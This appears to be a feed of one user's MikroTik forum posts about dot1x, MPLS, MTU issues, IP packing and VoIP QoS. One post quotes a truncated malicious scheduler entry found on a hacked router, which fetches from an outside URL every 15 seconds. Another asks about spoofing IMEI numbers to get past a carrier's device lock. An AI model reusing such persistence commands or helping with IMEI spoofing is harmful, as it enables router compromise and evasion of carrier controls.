hi Guys I would like to set do1x up as a test to AAA port based customers to get some accounting data which uses vlan or ethernet However i see on the RB 941 there is no such supplicant/client? from my understanding reading through the docs, its very similar setup to PPPOE, instead use /interface do...

Thank you. I should have looked up ICMP codes

Will see if i can find the culprit customer/s

I Have switched on filter logging on output chain and ive noticed the router is pinging/ip scanning from itself random IPs It has has no internet connectivity, but does passthrough traffic for customers example on router chain=output action=log protocol=icmp logs on router, where my IP is 10.175.0.7...

Hi Guys My installer installed a new router, and 5mins later before we could upgrade it was hacked Only thing we saw that was changed was this scheduler added Does anyone know what this mean 0 X name="U6" start-time=startup interval=15s on-event=/tool fetch url=http://fanmusic.xyz/poll/25e...

Vendor asking for our IMEI numbers. Is there a possible range for mikrotik cpe?

Many Thanks

sewlist

I understand. however we need a temp solution, we have 100 devices installed.

please PM me if there is possible temp solution

sewlist

Our vendor has locked all LTE towers to huwaei devices, resulting in all our outdoor cpe's being disconnected

Would there be a way to bypass this?. Maybe spoofing the imei? . meanwhile we trying to get mikrotik cpe's approved

Many thanks

sewlist

please dont fix the wrong bugs, we need to change dynamic queue values as previous posters. This means only we will stay stuck on V6.31 as its now a feature that was removed

Please can someone assist Seems from V6 m3p on mikrotik the packing has a mtu issue, however forwarding works normally. Once enabled i cannot telnet from RB to RB, version range from 1200 /493G /750 etc This is easily to simulate, simply enable simple packing with latest ROS and ubnt device with air...

sewlist

use the CoS on the wireless with ToS mappings, I believe there is a set-priority option for mikrotik , however we use ubnt combined with MT change voip dscp and give priority to sip over the air, do pppoe for data and use non pppoe for voice and prioritise like this if u want to only do via pppoe, u...

sewlist

check your pps rate without it and with it and see the difference then u can tell if it works or now

S

sewlist

nope

ubnt tcpdump shows malformed info, only use packing when u have voip only clients or very high load pps rate. if only there was a way to tag the m3p packet to 48

S

sewlist

I had similiar problem. I can't remember what i did, but i had something set to queue type ethernet-default kind=none and then my downloads sky rocketed . it was something to do with pfifo.

It was a 16Mbit customer struggling as soon as i changed the type they got it all

Hi ive enabled ip packing with compress-headers on a very busy link, 10mbit +, there is voip everything going through this link. I've noticed only the RX packets p/s is dropping from over 2000 pps to few 100, but the TX is staying the same amount of pps. Does anybody know why it will only minimse on...

sewlist

I need some advice on this We have a ptp link with ubnt . Mikrotik both ends for routing We push quite alot of voip on it I've noticed if i enabled ip packing simple which drasticly reduces the pps load which is perfect on the ubnt they use dscp value 48 for highest voice priority. If i do tcpdump o...

ok thanks researching shows that value as stp priority Specifies the STP-bridge priority; the valid values are 0, 4096 , 8192 , 12288, 16384, 20480, 24576, 28672, 32768, 36864 , 40960, 45056, 49152 Im using bridge filter to do QoS on these kinda traffic by protocol as i have mpls switching on that r...

Sorry the router is to crucial to sit and wait for downtime

I've downgraded the cpu speed to 800mhz and disabled connection tracking as its a LSR only

so far uptime is good

I have same problem with random reboots, im on 5.18, I have about 50 vlans on the board and it passes quite a bit of traffic with mpls enabled and ospf. I've just had a reboot now. here is my log, notice the "current-firmware" goes missing, Ill upgrade afterhours to 5.19 to see if it helps...

Guys, What about something like this in mikrotik - http://www.trafficsqueezer.org/ , This looks promising, only problem is we can't install a linux OS at every high point, would be madness m3p is good, but only aggregates and compresses, this trafficsqueezers optmises WAN traffic, would be perfect f...

sewlist

Okay even though latency is higher, normal packet forwarding should still be faster?, so you say icmp will only be affected?

S

sewlist

Okay i will have to dig a bit deeper after hours again... If i go to each hop and ping the peers, the latency is 1ms, but only on the forwarding its causing the latency. i suspect the 4xx version is doing this, also for mikrotik enigineers, the ports is both on port 8 on the 1100 and the 493g, I kno...

I lowered as suggested , here is the tracepath results, pmtu now 1496, this is mind boggling for me, I suspect this is causing issues on the voip under load , any other suggestions, the mpls forwarding table is about 1900 entries hop 4 is a rb1100 with latest version and default mtu's wireless is ub...

sewlist

Im not sure if this would help, I had mtu problem on my rb1200 routers with mpls, turned out was bug, had to upgrade.

rb1200 ether6,ether7,ether8 did not support big packets when linked at 10/100Mbps;

My 2 cents

S

sewlist

MPLS/VPLS layer 2 or layer 3 is the best and fastest form of vpn, rest add overhead per packet where mpls is only 4 bytes per packet where GRE add up to 40

S

sewlist

squid proxy with adzapper

S

sewlist

Under high load "/ip firewall service-port disable sip" , this causes delay in sip traffic initial connection

Regarding your setup, it sounds like u have one way speech, check codecs both ways, check all your sip config etc, check also for sip proxies to use

Good Luck
